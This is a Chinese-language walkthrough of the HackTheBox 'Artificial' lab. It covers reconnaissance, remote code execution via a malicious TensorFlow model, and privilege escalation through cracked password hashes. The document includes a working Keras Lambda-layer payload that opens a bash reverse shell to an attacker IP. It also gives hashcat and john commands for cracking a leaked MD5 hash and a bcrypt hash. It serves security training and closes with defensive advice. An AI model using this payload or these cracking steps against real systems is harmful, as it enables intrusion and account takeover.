HTB Artificial 靶场:从AI模型的RCE到NAS备份系统提权
字数 1107 2025-09-01 11:26:17
HTB Artificial 靶场渗透测试教学文档
靶机概述
- 名称:HTB Artificial
- 难度:简单(但需要特定知识)
- 操作系统:Ubuntu
- 开放端口:22(SSH)、80(HTTP)
- 关键知识点:TensorFlow RCE、Backrest备份系统提权
信息收集阶段
1. 基础扫描
nmap -sT --min-rate 10000 -p- 10.10.11.74 -oA nmapscan/ports
nmap -sT -Pn -sV -sC -O -p22,80 10.10.11.74
发现:
- 域名:artificial.htb
- 添加到hosts文件:
echo '10.10.11.74 artificial.htb' >> /etc/hosts
2. 子域名探测
gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://artificial.htb -t 30 --append-domain
(未发现有效子域名)
3. Web信息收集
使用whatweb和dirsearch工具:
dirsearch -u http://artificial.htb/ -e * -x 404
发现注册和登录页面
漏洞探测与利用
1. 网站功能分析
- 在线AI业务平台
- 可上传、管理和运行AI模型
- 使用TensorFlow框架(2.13.1版本)
2. 环境准备
注意:TensorFlow最新版仅支持Python 3.12,Kali默认可能是Python 3.13
解决方案:
- 降级Python版本
- 或使用Docker构建环境:
docker build -t my-image .
docker run -it my-image
3. TensorFlow RCE漏洞利用
利用TensorFlow Lambda层的代码执行漏洞构建恶意模型:
import tensorflow as tf
import os
def exploit(x):
import os
os.system("/bin/bash -i >& /dev/tcp/10.10.14.78/4444 0>&1")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("model.h5")
步骤:
- 生成model.h5文件
- 在网站上传该模型
- 本地设置监听:
nc -lvnp 4444
- 点击在线预览触发反弹shell
4. 初步提权
- 当前用户:app
- 发现SQLite数据库:
sqlite3 users.db
.tables
select * from user;
- 发现用户gael及其MD5哈希:
c99175974b6e192936d97224638a34f8 - 使用hashcat爆破:
hashcat -m 0 c99175974b6e192936d97224638a34f8 /usr/share/wordlists/rockyou.txt
- 获得密码后SSH登录gael用户
权限提升
1. 初步检查
检查sudo、suid、crontab等常规提权方式无果
2. 使用linpeas收集信息
发现备份文件线索
3. 备份文件分析
- 文件看似gzip压缩(.gz后缀),实际是tar文件
- 正确解压方式:
tar xvf backup.tar
- 在
.config/backrest/config.json中发现账号密码 - 密码经过Base64编码的Bcrypt哈希
4. 密码破解步骤
- Base64解码
- 使用john破解Bcrypt哈希:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
- 获得密码后提权
关键知识点总结
-
TensorFlow RCE:
- Lambda层允许任意Python代码执行
- 恶意模型可导致远程代码执行
-
密码破解技巧:
- 识别哈希类型(MD5、Bcrypt)
- 多层编码处理(Base64+Bcrypt)
-
备份文件分析:
- 注意文件真实类型(file命令)
- 配置文件中的敏感信息
-
环境适配:
- Python版本与库的兼容性问题
- Docker作为替代解决方案
防御建议
- 对AI模型上传进行严格审查
- 避免在Lambda层执行危险操作
- 配置文件不应包含明文或弱加密密码
- 备份文件应妥善保护权限
- 使用强密码策略和加盐哈希